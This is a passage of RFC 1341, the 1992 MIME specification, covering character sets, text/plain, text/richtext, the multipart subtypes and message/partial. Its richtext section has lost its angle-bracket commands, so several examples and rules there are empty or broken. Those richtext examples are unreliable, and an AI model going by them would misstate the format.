+ + Content-type: text/plain; charset=us-ascii + + Unlike some other parameter values, the values of the + charset parameter are NOT case sensitive. The default + character set, which must be assumed in the absence of a + charset parameter, is US-ASCII. + + An initial list of predefined character set names can be + found at the end of this section. Additional character sets + may be registered with IANA as described in Appendix F, + although the standardization of their use requires the usual + + + + Borenstein & Freed [Page 20] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + IAB review and approval. Note that if the specified + character set includes 8-bit data, a Content-Transfer- + Encoding header field and a corresponding encoding on the + data are required in order to transmit the body via some + mail transfer protocols, such as SMTP. + + The default character set, US-ASCII, has been the subject of + some confusion and ambiguity in the past. Not only were + there some ambiguities in the definition, there have been + wide variations in practice. In order to eliminate such + ambiguity and variations in the future, it is strongly + recommended that new user agents explicitly specify a + character set via the Content-Type header field. "US-ASCII" + does not indicate an arbitrary seven-bit character code, but + specifies that the body uses character coding that uses the + exact correspondence of codes to characters specified in + ASCII. National use variations of ISO 646 [ISO-646] are NOT + ASCII and their use in Internet mail is explicitly + discouraged. The omission of the ISO 646 character set is + deliberate in this regard. The character set name of "US- + ASCII" explicitly refers to ANSI X3.4-1986 [US-ASCII] only. + The character set name "ASCII" is reserved and must not be + used for any purpose. + + NOTE: RFC 821 explicitly specifies "ASCII", and references + an earlier version of the American Standard. Insofar as one + of the purposes of specifying a Content-Type and character + set is to permit the receiver to unambiguously determine how + the sender intended the coded message to be interpreted, + assuming anything other than "strict ASCII" as the default + would risk unintentional and incompatible changes to the + semantics of messages now being transmitted. This also + implies that messages containing characters coded according + to national variations on ISO 646, or using code-switching + procedures (e.g., those of ISO 2022), as well as 8-bit or + multiple octet character encodings MUST use an appropriate + character set specification to be consistent with this + specification. + + The complete US-ASCII character set is listed in [US-ASCII]. + Note that the control characters including DEL (0-31, 127) + have no defined meaning apart from the combination CRLF + (ASCII values 13 and 10) indicating a new line. Two of the + characters have de facto meanings in wide use: FF (12) often + means "start subsequent text on the beginning of a new + page"; and TAB or HT (9) often (though not always) means + "move the cursor to the next available column after the + current position where the column number is a multiple of 8 + (counting the first column as column 0)." Apart from this, + any use of the control characters or DEL in a body must be + part of a private agreement between the sender and + recipient. Such private agreements are discouraged and + should be replaced by the other capabilities of this + document. + + + + Borenstein & Freed [Page 21] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + NOTE: Beyond US-ASCII, an enormous proliferation of + character sets is possible. It is the opinion of the IETF + working group that a large number of character sets is NOT a + good thing. We would prefer to specify a single character + set that can be used universally for representing all of the + world's languages in electronic mail. Unfortunately, + existing practice in several communities seems to point to + the continued use of multiple character sets in the near + future. For this reason, we define names for a small number + of character sets for which a strong constituent base + exists. It is our hope that ISO 10646 or some other + effort will eventually define a single world character set + which can then be specified for use in Internet mail, but in + the advance of that definition we cannot specify the use of + ISO 10646, Unicode, or any other character set whose + definition is, as of this writing, incomplete. + + The defined charset values are: + + US-ASCII -- as defined in [US-ASCII]. + + ISO-8859-X -- where "X" is to be replaced, as + necessary, for the parts of ISO-8859 [ISO- + 8859]. Note that the ISO 646 character sets + have deliberately been omitted in favor of + their 8859 replacements, which are the + designated character sets for Internet mail. + As of the publication of this document, the + legitimate values for "X" are the digits 1 + through 9. + + Note that the character set used, if anything other than + US-ASCII, must always be explicitly specified in the + Content-Type field. + + No other character set name may be used in Internet mail + without the publication of a formal specification and its + registration with IANA as described in Appendix F, or by + private agreement, in which case the character set name must + begin with "X-". + + Implementors are discouraged from defining new character + sets for mail use unless absolutely necessary. + + The "charset" parameter has been defined primarily for the + purpose of textual data, and is described in this section + for that reason. However, it is conceivable that non- + textual data might also wish to specify a charset value for + some purpose, in which case the same syntax and values + should be used. + + In general, mail-sending software should always use the + "lowest common denominator" character set possible. For + example, if a body contains only US-ASCII characters, it + + + + Borenstein & Freed [Page 22] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + should be marked as being in the US-ASCII character set, not + ISO-8859-1, which, like all the ISO-8859 family of character + sets, is a superset of US-ASCII. More generally, if a + widely-used character set is a subset of another character + set, and a body contains only characters in the widely-used + subset, it should be labeled as being in that subset. This + will increase the chances that the recipient will be able to + view the mail correctly. + + 7.1.2 The Text/plain subtype + + The primary subtype of text is "plain". This indicates + plain (unformatted) text. The default Content-Type for + Internet mail, "text/plain; charset=us-ascii", describes + existing Internet practice, that is, it is the type of body + defined by RFC 822. + + 7.1.3 The Text/richtext subtype + + In order to promote the wider interoperability of simple + formatted text, this document defines an extremely simple + subtype of "text", the "richtext" subtype. This subtype was + designed to meet the following criteria: + + 1. The syntax must be extremely simple to parse, + so that even teletype-oriented mail systems can + easily strip away the formatting information and + leave only the readable text. + + 2. The syntax must be extensible to allow for new + formatting commands that are deemed essential. + + 3. The capabilities must be extremely limited, to + ensure that it can represent no more than is + likely to be representable by the user's primary + word processor. While this limits what can be + sent, it increases the likelihood that what is + sent can be properly displayed. + + 4. The syntax must be compatible with SGML, so + that, with an appropriate DTD (Document Type + Definition, the standard mechanism for defining a + document type using SGML), a general SGML parser + could be made to parse richtext. However, despite + this compatibility, the syntax should be far + simpler than full SGML, so that no SGML knowledge + is required in order to implement it. + + The syntax of "richtext" is very simple. It is assumed, at + the top-level, to be in the US-ASCII character set, unless + of course a different charset parameter was specified in the + Content-type field. All characters represent themselves, + with the exception of the "<" character (ASCII 60), which is + used to mark the beginning of a formatting command. + + + + Borenstein & Freed [Page 23] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Formatting instructions consist of formatting commands + surrounded by angle brackets ("<>", ASCII 60 and 62). Each + formatting command may be no more than 40 characters in + length, all in US-ASCII, restricted to the alphanumeric and + hyphen ("-") characters. Formatting commands may be preceded + by a forward slash or solidus ("/", ASCII 47), making them + negations, and such negations must always exist to balance + the initial opening commands, except as noted below. Thus, + if the formatting command "" appears at some point, + there must later be a "" to balance it. There are + only three exceptions to this "balancing" rule: First, the + command "" is used to represent a literal "<" character. + Second, the command "" is used to represent a required + line break. (Otherwise, CRLFs in the data are treated as + equivalent to a single SPACE character.) Finally, the + command "" is used to represent a page break. (NOTE: + The 40 character limit on formatting commands does not + include the "<", ">", or "/" characters that might be + attached to such commands.) + + Initially defined formatting commands, not all of which will + be implemented by all richtext implementations, include: + + Bold -- causes the subsequent text to be in a bold + font. + Italic -- causes the subsequent text to be in an italic + font. + Fixed -- causes the subsequent text to be in a fixed + width font. + Smaller -- causes the subsequent text to be in a + smaller font. + Bigger -- causes the subsequent text to be in a bigger + font. + Underline -- causes the subsequent text to be + underlined. + Center -- causes the subsequent text to be centered. + FlushLeft -- causes the subsequent text to be left + justified. + FlushRight -- causes the subsequent text to be right + justified. + Indent -- causes the subsequent text to be indented at + the left margin. + IndentRight -- causes the subsequent text to be + indented at the right margin. + Outdent -- causes the subsequent text to be outdented + at the left margin. + OutdentRight -- causes the subsequent text to be + outdented at the right margin. + SamePage -- causes the subsequent text to be grouped, + if possible, on one page. + Subscript -- causes the subsequent text to be + interpreted as a subscript. + + + + + + Borenstein & Freed [Page 24] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + Superscript -- causes the subsequent text to be + interpreted as a superscript. + Heading -- causes the subsequent text to be interpreted + as a page heading. + Footing -- causes the subsequent text to be interpreted + as a page footing. + ISO-8859-X (for any value of X that is legal as a + "charset" parameter) -- causes the subsequent text + to be interpreted as text in the appropriate + character set. + US-ASCII -- causes the subsequent text to be + interpreted as text in the US-ASCII character set. + Excerpt -- causes the subsequent text to be interpreted + as a textual excerpt from another source. + Typically this will be displayed using indentation + and an alternate font, but such decisions are up + to the viewer. + Paragraph -- causes the subsequent text to be + interpreted as a single paragraph, with + appropriate paragraph breaks (typically blank + space) before and after. + Signature -- causes the subsequent text to be + interpreted as a "signature". Some systems may + wish to display signatures in a smaller font or + otherwise set them apart from the main text of the + message. + Comment -- causes the subsequent text to be interpreted + as a comment, and hence not shown to the reader. + No-op -- has no effect on the subsequent text. + lt -- is replaced by a literal "<" character. No + balancing is allowed. + nl -- causes a line break. No balancing is + allowed. + np -- causes a page break. No balancing is + allowed. + + Each positive formatting command affects all subsequent text + until the matching negative formatting command. Such pairs + of formatting commands must be properly balanced and nested. + Thus, a proper way to describe text in bold italics is: + + the-text + + or, alternately, + + the-text + + but, in particular, the following is illegal + richtext: + + the-text + + NOTE: The nesting requirement for formatting commands + imposes a slightly higher burden upon the composers of + + + + Borenstein & Freed [Page 25] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + richtext bodies, but potentially simplifies richtext + displayers by allowing them to be stack-based. The main + goal of richtext is to be simple enough to make multifont, + formatted email widely readable, so that those with the + capability of sending it will be able to do so with + confidence. Thus slightly increased complexity in the + composing software was deemed a reasonable tradeoff for + simplified reading software. Nonetheless, implementors of + richtext readers are encouraged to follow the general + Internet guidelines of being conservative in what you send + and liberal in what you accept. Those implementations that + can do so are encouraged to deal reasonably with improperly + nested richtext. + + Implementations must regard any unrecognized formatting + command as equivalent to "No-op", thus facilitating future + extensions to "richtext". Private extensions may be defined + using formatting commands that begin with "X-", by analogy + to Internet mail header field names. + + It is worth noting that no special behavior is required for + the TAB (HT) character. It is recommended, however, that, at + least when fixed-width fonts are in use, the common + semantics of the TAB (HT) character should be observed, + namely that it moves to the next column position that is a + multiple of 8. (In other words, if a TAB (HT) occurs in + column n, where the leftmost column is column 0, then that + TAB (HT) should be replaced by 8-(n mod 8) SPACE + characters.) + + Richtext also differentiates between "hard" and "soft" line + breaks. A line break (CRLF) in the richtext data stream is + interpreted as a "soft" line break, one that is included + only for purposes of mail transport, and is to be treated as + white space by richtext interpreters. To include a "hard" + line break (one that must be displayed as such), the "" + or " formatting constructs should be used. In + general, a soft line break should be treated as white space, + but when soft line breaks immediately follow a or a + tag they should be ignored rather than treated + as white space. + + Putting all this together, the following "text/richtext" + body fragment: + + Now is the time for + all good men + (and women>) to + come + + to the aid of their + + + + + + + Borenstein & Freed [Page 26] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + beloved country. Stupid + quote! -- the end + + represents the following formatted text (which will, no + doubt, look cryptic in the text-only version of this + document): + + Now is the time for all good men (and ) to + come to the aid of their + beloved + + country. -- the end + + Richtext conformance: A minimal richtext implementation is + one that simply converts "" to "<", converts CRLFs to + SPACE, converts to a newline according to local newline + convention, removes everything between a command + and the next balancing command, and removes all + other formatting commands (all text enclosed in angle + brackets). + + NOTE ON THE RELATIONSHIP OF RICHTEXT TO SGML: Richtext is + decidedly not SGML, and must not be used to transport + arbitrary SGML documents. Those who wish to use SGML + document types as a mail transport format must define a new + text or application subtype, e.g., "text/sgml-dtd-whatever" + or "application/sgml-dtd-whatever", depending on the + perceived readability of the DTD in use. Richtext is + designed to be compatible with SGML, and specifically so + that it will be possible to define a richtext DTD if one is + needed. However, this does not imply that arbitrary SGML + can be called richtext, nor that richtext implementors have + any need to understand SGML; the description in this + document is a complete definition of richtext, which is far + simpler than complete SGML. + + NOTE ON THE INTENDED USE OF RICHTEXT: It is recognized that + implementors of future mail systems will want rich text + functionality far beyond that currently defined for + richtext. The intent of richtext is to provide a common + format for expressing that functionality in a form in which + much of it, at least, will be understood by interoperating + software. Thus, in particular, software with a richer + notion of formatted text than richtext can still use + richtext as its basic representation, but can extend it with + new formatting commands and by hiding information specific + to that software system in richtext comments. As such + systems evolve, it is expected that the definition of + richtext will be further refined by future published + specifications, but richtext as defined here provides a + platform on which evolutionary refinements can be based. + + IMPLEMENTATION NOTE: In some environments, it might be + impossible to combine certain richtext formatting commands, + + + + Borenstein & Freed [Page 27] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + whereas in others they might be combined easily. For + example, the combination of and might + produce bold italics on systems that support such fonts, but + there exist systems that can make text bold or italicized, + but not both. In such cases, the most recently issued + recognized formatting command should be preferred. + + One of the major goals in the design of richtext was to make + it so simple that even text-only mailers will implement + richtext-to-plain-text translators, thus increasing the + likelihood that multifont text will become "safe" to use + very widely. To demonstrate this simplicity, an extremely + simple 35-line C program that converts richtext input into + plain text output is included in Appendix D. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Borenstein & Freed [Page 28] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + 7.2 The Multipart Content-Type + + In the case of multiple part messages, in which one or more + different sets of data are combined in a single body, a + "multipart" Content-Type field must appear in the entity's + header. The body must then contain one or more "body parts," + each preceded by an encapsulation boundary, and the last one + followed by a closing boundary. Each part starts with an + encapsulation boundary, and then contains a body part + consisting of header area, a blank line, and a body area. + Thus a body part is similar to an RFC 822 message in syntax, + but different in meaning. + + A body part is NOT to be interpreted as actually being an + RFC 822 message. To begin with, NO header fields are + actually required in body parts. A body part that starts + with a blank line, therefore, is allowed and is a body part + for which all default values are to be assumed. In such a + case, the absence of a Content-Type header field implies + that the encapsulation is plain US-ASCII text. The only + header fields that have defined meaning for body parts are + those the names of which begin with "Content-". All other + header fields are generally to be ignored in body parts. + Although they should generally be retained in mail + processing, they may be discarded by gateways if necessary. + Such other fields are permitted to appear in body parts but + should not be depended on. "X-" fields may be created for + experimental or private purposes, with the recognition that + the information they contain may be lost at some gateways. + + The distinction between an RFC 822 message and a body part + is subtle, but important. A gateway between Internet and + X.400 mail, for example, must be able to tell the difference + between a body part that contains an image and a body part + that contains an encapsulated message, the body of which is + an image. In order to represent the latter, the body part + must have "Content-Type: message", and its body (after the + blank line) must be the encapsulated message, with its own + "Content-Type: image" header field. The use of similar + syntax facilitates the conversion of messages to body parts, + and vice versa, but the distinction between the two must be + understood by implementors. (For the special case in which + all parts actually are messages, a "digest" subtype is also + defined.) + + As stated previously, each body part is preceded by an + encapsulation boundary. The encapsulation boundary MUST NOT + appear inside any of the encapsulated parts. Thus, it is + crucial that the composing agent be able to choose and + specify the unique boundary that will separate the parts. + + All present and future subtypes of the "multipart" type must + use an identical syntax. Subtypes may differ in their + semantics, and may impose additional restrictions on syntax, + + + + Borenstein & Freed [Page 29] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + but must conform to the required syntax for the multipart + type. This requirement ensures that all conformant user + agents will at least be able to recognize and separate the + parts of any multipart entity, even of an unrecognized + subtype. + + As stated in the definition of the Content-Transfer-Encoding + field, no encoding other than "7bit", "8bit", or "binary" is + permitted for entities of type "multipart". The multipart + delimiters and header fields are always 7-bit ASCII in any + case, and data within the body parts can be encoded on a + part-by-part basis, with Content-Transfer-Encoding fields + for each appropriate body part. + + Mail gateways, relays, and other mail handling agents are + commonly known to alter the top-level header of an RFC 822 + message. In particular, they frequently add, remove, or + reorder header fields. Such alterations are explicitly + forbidden for the body part headers embedded in the bodies + of messages of type "multipart." + + 7.2.1 Multipart: The common syntax + + All subtypes of "multipart" share a common syntax, defined + in this section. A simple example of a multipart message + also appears in this section. An example of a more complex + multipart message is given in Appendix C. + + The Content-Type field for multipart entities requires one + parameter, "boundary", which is used to specify the + encapsulation boundary. The encapsulation boundary is + defined as a line consisting entirely of two hyphen + characters ("-", decimal code 45) followed by the boundary + parameter value from the Content-Type header field. + + NOTE: The hyphens are for rough compatibility with the + earlier RFC 934 method of message encapsulation, and for + ease of searching for the boundaries in some + implementations. However, it should be noted that multipart + messages are NOT completely compatible with RFC 934 + encapsulations; in particular, they do not obey RFC 934 + quoting conventions for embedded lines that begin with + hyphens. This mechanism was chosen over the RFC 934 + mechanism because the latter causes lines to grow with each + level of quoting. The combination of this growth with the + fact that SMTP implementations sometimes wrap long lines + made the RFC 934 mechanism unsuitable for use in the event + that deeply-nested multipart structuring is ever desired. + + Thus, a typical multipart Content-Type header field might + look like this: + + Content-Type: multipart/mixed; + + + + + Borenstein & Freed [Page 30] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + boundary=gc0p4Jq0M2Yt08jU534c0p + + This indicates that the entity consists of several parts, + each itself with a structure that is syntactically identical + to an RFC 822 message, except that the header area might be + completely empty, and that the parts are each preceded by + the line + + --gc0p4Jq0M2Yt08jU534c0p + + Note that the encapsulation boundary must occur at the + beginning of a line, i.e., following a CRLF, and that that + initial CRLF is considered to be part of the encapsulation + boundary rather than part of the preceding part. The + boundary must be followed immediately either by another CRLF + and the header fields for the next part, or by two CRLFs, in + which case there are no header fields for the next part (and + it is therefore assumed to be of Content-Type text/plain). + + NOTE: The CRLF preceding the encapsulation line is + considered part of the boundary so that it is possible to + have a part that does not end with a CRLF (line break). + Body parts that must be considered to end with line breaks, + therefore, should have two CRLFs preceding the encapsulation + line, the first of which is part of the preceding body part, + and the second of which is part of the encapsulation + boundary. + + The requirement that the encapsulation boundary begins with + a CRLF implies that the body of a multipart entity must + itself begin with a CRLF before the first encapsulation line + -- that is, if the "preamble" area is not used, the entity + headers must be followed by TWO CRLFs. This is indeed how + such entities should be composed. A tolerant mail reading + program, however, may interpret a body of type multipart + that begins with an encapsulation line NOT initiated by a + CRLF as also being an encapsulation boundary, but a + compliant mail sending program must not generate such + entities. + + Encapsulation boundaries must not appear within the + encapsulations, and must be no longer than 70 characters, + not counting the two leading hyphens. + + The encapsulation boundary following the last body part is a + distinguished delimiter that indicates that no further body + parts will follow. Such a delimiter is identical to the + previous delimiters, with the addition of two more hyphens + at the end of the line: + + --gc0p4Jq0M2Yt08jU534c0p-- + + There appears to be room for additional information prior to + the first encapsulation boundary and following the final + + + + Borenstein & Freed [Page 31] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + boundary. These areas should generally be left blank, and + implementations should ignore anything that appears before + the first boundary or after the last one. + + NOTE: These "preamble" and "epilogue" areas are not used + because of the lack of proper typing of these parts and the + lack of clear semantics for handling these areas at + gateways, particularly X.400 gateways. + + NOTE: Because encapsulation boundaries must not appear in + the body parts being encapsulated, a user agent must + exercise care to choose a unique boundary. The boundary in + the example above could have been the result of an algorithm + designed to produce boundaries with a very low probability + of already existing in the data to be encapsulated without + having to prescan the data. Alternate algorithms might + result in more 'readable' boundaries for a recipient with an + old user agent, but would require more attention to the + possibility that the boundary might appear in the + encapsulated part. The simplest boundary possible is + something like "---", with a closing boundary of "-----". + + As a very simple example, the following multipart message + has two parts, both of them plain text, one of them + explicitly typed and one of them implicitly typed: + + From: Nathaniel Borenstein + To: Ned Freed + Subject: Sample message + MIME-Version: 1.0 + Content-type: multipart/mixed; boundary="simple + boundary" + + This is the preamble. It is to be ignored, though it + is a handy place for mail composers to include an + explanatory note to non-MIME compliant readers. + --simple boundary + + This is implicitly typed plain ASCII text. + It does NOT end with a linebreak. + --simple boundary + Content-type: text/plain; charset=us-ascii + + This is explicitly typed plain ASCII text. + It DOES end with a linebreak. + + --simple boundary-- + This is the epilogue. It is also to be ignored. + + The use of a Content-Type of multipart in a body part within + another multipart entity is explicitly allowed. In such + cases, for obvious reasons, care must be taken to ensure + that each nested multipart entity must use a different + boundary delimiter. See Appendix C for an example of nested + + + + Borenstein & Freed [Page 32] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + multipart entities. + + The use of the multipart Content-Type with only a single + body part may be useful in certain contexts, and is + explicitly permitted. + + The only mandatory parameter for the multipart Content-Type + is the boundary parameter, which consists of 1 to 70 + characters from a set of characters known to be very robust + through email gateways, and NOT ending with white space. + (If a boundary appears to end with white space, the white + space must be presumed to have been added by a gateway, and + should be deleted.) It is formally specified by the + following BNF: + + boundary := 0*69 bcharsnospace + + bchars := bcharsnospace / " " + + bcharsnospace := DIGIT / ALPHA / "'" / "(" / ")" / "+" / + "_" + / "," / "-" / "." / "/" / ":" / "=" / "?" + + Overall, the body of a multipart entity may be specified as + follows: + + multipart-body := preamble 1*encapsulation + close-delimiter epilogue + + encapsulation := delimiter CRLF body-part + + delimiter := CRLF "--" boundary ; taken from Content-Type + field. + ; when content-type is + multipart + ; There must be no space + ; between "--" and boundary. + + close-delimiter := delimiter "--" ; Again, no space before + "--" + + preamble := *text ; to be ignored upon + receipt. + + epilogue := *text ; to be ignored upon + receipt. + + body-part = <"message" as defined in RFC 822, + with all header fields optional, and with the + specified delimiter not occurring anywhere in + the message body, either on a line by itself + or as a substring anywhere. Note that the + + + + + + Borenstein & Freed [Page 33] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + semantics of a part differ from the semantics + of a message, as described in the text.> + + NOTE: Conspicuously missing from the multipart type is a + notion of structured, related body parts. In general, it + seems premature to try to standardize interpart structure + yet. It is recommended that those wishing to provide a more + structured or integrated multipart messaging facility should + define a subtype of multipart that is syntactically + identical, but that always expects the inclusion of a + distinguished part that can be used to specify the structure + and integration of the other parts, probably referring to + them by their Content-ID field. If this approach is used, + other implementations will not recognize the new subtype, + but will treat it as the primary subtype (multipart/mixed) + and will thus be able to show the user the parts that are + recognized. + + 7.2.2 The Multipart/mixed (primary) subtype + + The primary subtype for multipart, "mixed", is intended for + use when the body parts are independent and intended to be + displayed serially. Any multipart subtypes that an + implementation does not recognize should be treated as being + of subtype "mixed". + + 7.2.3 The Multipart/alternative subtype + + The multipart/alternative type is syntactically identical to + multipart/mixed, but the semantics are different. In + particular, each of the parts is an "alternative" version of + the same information. User agents should recognize that the + content of the various parts are interchangeable. The user + agent should either choose the "best" type based on the + user's environment and preferences, or offer the user the + available alternatives. In general, choosing the best type + means displaying only the LAST part that can be displayed. + This may be used, for example, to send mail in a fancy text + format in such a way that it can easily be displayed + anywhere: + + From: Nathaniel Borenstein + To: Ned Freed + Subject: Formatted text mail + MIME-Version: 1.0 + Content-Type: multipart/alternative; boundary=boundary42 + + + --boundary42 + Content-Type: text/plain; charset=us-ascii + + ...plain text version of message goes here.... + + + + + + Borenstein & Freed [Page 34] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + --boundary42 + Content-Type: text/richtext + + .... richtext version of same message goes here ... + --boundary42 + Content-Type: text/x-whatever + + .... fanciest formatted version of same message goes here + ... + --boundary42-- + + In this example, users whose mail system understood the + "text/x-whatever" format would see only the fancy version, + while other users would see only the richtext or plain text + version, depending on the capabilities of their system. + + In general, user agents that compose multipart/alternative + entities should place the body parts in increasing order of + preference, that is, with the preferred format last. For + fancy text, the sending user agent should put the plainest + format first and the richest format last. Receiving user + agents should pick and display the last format they are + capable of displaying. In the case where one of the + alternatives is itself of type "multipart" and contains + unrecognized sub-parts, the user agent may choose either to + show that alternative, an earlier alternative, or both. + + NOTE: From an implementor's perspective, it might seem more + sensible to reverse this ordering, and have the plainest + alternative last. However, placing the plainest alternative + first is the friendliest possible option when + mutlipart/alternative entities are viewed using a non-MIME- + compliant mail reader. While this approach does impose some + burden on compliant mail readers, interoperability with + older mail readers was deemed to be more important in this + case. + + It may be the case that some user agents, if they can + recognize more than one of the formats, will prefer to offer + the user the choice of which format to view. This makes + sense, for example, if mail includes both a nicely-formatted + image version and an easily-edited text version. What is + most critical, however, is that the user not automatically + be shown multiple versions of the same data. Either the + user should be shown the last recognized version or should + explicitly be given the choice. + + + + + + + + + + + + Borenstein & Freed [Page 35] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + 7.2.4 The Multipart/digest subtype + + This document defines a "digest" subtype of the multipart + Content-Type. This type is syntactically identical to + multipart/mixed, but the semantics are different. In + particular, in a digest, the default Content-Type value for + a body part is changed from "text/plain" to + "message/rfc822". This is done to allow a more readable + digest format that is largely compatible (except for the + quoting convention) with RFC 934. + + A digest in this format might, then, look something like + this: + + From: Moderator-Address + MIME-Version: 1.0 + Subject: Internet Digest, volume 42 + Content-Type: multipart/digest; + boundary="---- next message ----" + + + ------ next message ---- + + From: someone-else + Subject: my opinion + + ...body goes here ... + + ------ next message ---- + + From: someone-else-again + Subject: my different opinion + + ... another body goes here... + + ------ next message ------ + + 7.2.5 The Multipart/parallel subtype + + This document defines a "parallel" subtype of the multipart + Content-Type. This type is syntactically identical to + multipart/mixed, but the semantics are different. In + particular, in a parallel entity, all of the parts are + intended to be presented in parallel, i.e., simultaneously, + on hardware and software that are capable of doing so. + Composing agents should be aware that many mail readers will + lack this capability and will show the parts serially in any + event. + + + + + + + + + + Borenstein & Freed [Page 36] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + 7.3 The Message Content-Type + + It is frequently desirable, in sending mail, to encapsulate + another mail message. For this common operation, a special + Content-Type, "message", is defined. The primary subtype, + message/rfc822, has no required parameters in the Content- + Type field. Additional subtypes, "partial" and "External- + body", do have required parameters. These subtypes are + explained below. + + NOTE: It has been suggested that subtypes of message might + be defined for forwarded or rejected messages. However, + forwarded and rejected messages can be handled as multipart + messages in which the first part contains any control or + descriptive information, and a second part, of type + message/rfc822, is the forwarded or rejected message. + Composing rejection and forwarding messages in this manner + will preserve the type information on the original message + and allow it to be correctly presented to the recipient, and + hence is strongly encouraged. + + As stated in the definition of the Content-Transfer-Encoding + field, no encoding other than "7bit", "8bit", or "binary" is + permitted for messages or parts of type "message". The + message header fields are always US-ASCII in any case, and + data within the body can still be encoded, in which case the + Content-Transfer-Encoding header field in the encapsulated + message will reflect this. Non-ASCII text in the headers of + an encapsulated message can be specified using the + mechanisms described in [RFC-1342]. + + Mail gateways, relays, and other mail handling agents are + commonly known to alter the top-level header of an RFC 822 + message. In particular, they frequently add, remove, or + reorder header fields. Such alterations are explicitly + forbidden for the encapsulated headers embedded in the + bodies of messages of type "message." + + 7.3.1 The Message/rfc822 (primary) subtype + + A Content-Type of "message/rfc822" indicates that the body + contains an encapsulated message, with the syntax of an RFC + 822 message. + + 7.3.2 The Message/Partial subtype + + A subtype of message, "partial", is defined in order to + allow large objects to be delivered as several separate + pieces of mail and automatically reassembled by the + receiving user agent. (The concept is similar to IP + fragmentation/reassembly in the basic Internet Protocols.) + This mechanism can be used when intermediate transport + agents limit the size of individual messages that can be + sent. Content-Type "message/partial" thus indicates that + + + + Borenstein & Freed [Page 37] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + the body contains a fragment of a larger message. + + Three parameters must be specified in the Content-Type field + of type message/partial: The first, "id", is a unique + identifier, as close to a world-unique identifier as + possible, to be used to match the parts together. (In + general, the identifier is essentially a message-id; if + placed in double quotes, it can be any message-id, in + accordance with the BNF for "parameter" given earlier in + this specification.) The second, "number", an integer, is + the part number, which indicates where this part fits into + the sequence of fragments. The third, "total", another + integer, is the total number of parts. This third subfield + is required on the final part, and is optional on the + earlier parts. Note also that these parameters may be given + in any order. + + Thus, part 2 of a 3-part message may have either of the + following header fields: + + Content-Type: Message/Partial; + number=2; total=3; + id="oc=jpbe0M2Yt4s@thumper.bellcore.com"; + + Content-Type: Message/Partial; + id="oc=jpbe0M2Yt4s@thumper.bellcore.com"; + number=2 + + But part 3 MUST specify the total number of parts: + + Content-Type: Message/Partial; + number=3; total=3; + id="oc=jpbe0M2Yt4s@thumper.bellcore.com"; + + Note that part numbering begins with 1, not 0. + + When the parts of a message broken up in this manner are put + together, the result is a complete RFC 822 format message, + which may have its own Content-Type header field, and thus + may contain any other data type. + + Message fragmentation and reassembly: The semantics of a + reassembled partial message must be those of the "inner" + message, rather than of a message containing the inner + message. This makes it possible, for example, to send a + large audio message as several partial messages, and still + have it appear to the recipient as a simple audio message + rather than as an encapsulated message containing an audio + message. That is, the encapsulation of the message is + considered to be "transparent". + + When generating and reassembling the parts of a + message/partial message, the headers of the encapsulated + message must be merged with the headers of the enclosing + + + + Borenstein & Freed [Page 38] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + entities. In this process the following rules must be + observed: + + (1) All of the headers from the initial enclosing + entity (part one), except those that start with + "Content-" and "Message-ID", must be copied, in + order, to the new message. + + (2) Only those headers in the enclosed message + which start with "Content-" and "Message-ID" must + be appended, in order, to the headers of the new + message. Any headers in the enclosed message + which do not start with "Content-" (except for + "Message-ID") will be ignored. + + (3) All of the headers from the second and any + subsequent messages will be ignored. + + For example, if an audio message is broken into two parts, + the first part might look something like this: + + X-Weird-Header-1: Foo + From: Bill@host.com + To: joe@otherhost.com + Subject: Audio mail + Message-ID: id1@host.com + MIME-Version: 1.0 + Content-type: message/partial; + id="ABC@host.com"; + number=1; total=2 + + X-Weird-Header-1: Bar + X-Weird-Header-2: Hello + Message-ID: anotherid@foo.com + Content-type: audio/basic + Content-transfer-encoding: base64 + + ... first half of encoded audio data goes here... + + and the second half might look something like this: + + From: Bill@host.com + To: joe@otherhost.com + Subject: Audio mail + MIME-Version: 1.0 + Message-ID: id2@host.com + Content-type: message/partial; + id="ABC@host.com"; number=2; total=2 + + ... second half of encoded audio data goes here... + + Then, when the fragmented message is reassembled, the + resulting message to be displayed to the user should look + something like this: + + + + Borenstein & Freed [Page 39] + + + + + RFC 1341MIME: Multipurpose Internet Mail ExtensionsJune 1992 + + + X-Weird-Header-1: Foo + From: Bill@host.com + To: joe@otherhost.com + Subject: Audio mail + Message-ID: anotherid@foo.com + MIME-Version: 1.0 + Content-type: audio/basic + Content-transfer-encoding: base64 + + ... first half of encoded audio data goes here... + ... second half of encoded audio data goes here... + + It should be noted that, because some message transfer + agents may choose to automatically fragment large messages, + and because such agents may use different fragmentation + thresholds, it is possible that the pieces of a partial + message, upon reassembly, may prove themselves to comprise a + partial message. This is explicitly permitted. + + It should also be noted that the inclusion of a "References" + field in the headers of the second and subsequent pieces of + a fragmented message that references the Message-Id on the + previous piece may be of benefit to mail readers that + understand and track references. However, the generation of + such "References" fields is entirely optional. + + 7.3.3 The Message/External-Body subtype + + The external-body subtype indicates that the actual body + data are not included, but merely referenced. In this case, + the parameters describe a mechanism for accessing the + external data. + + When a message body or body part is of type + "message/external-body", it consists of a header, two + consecutive CRLFs, and the message header 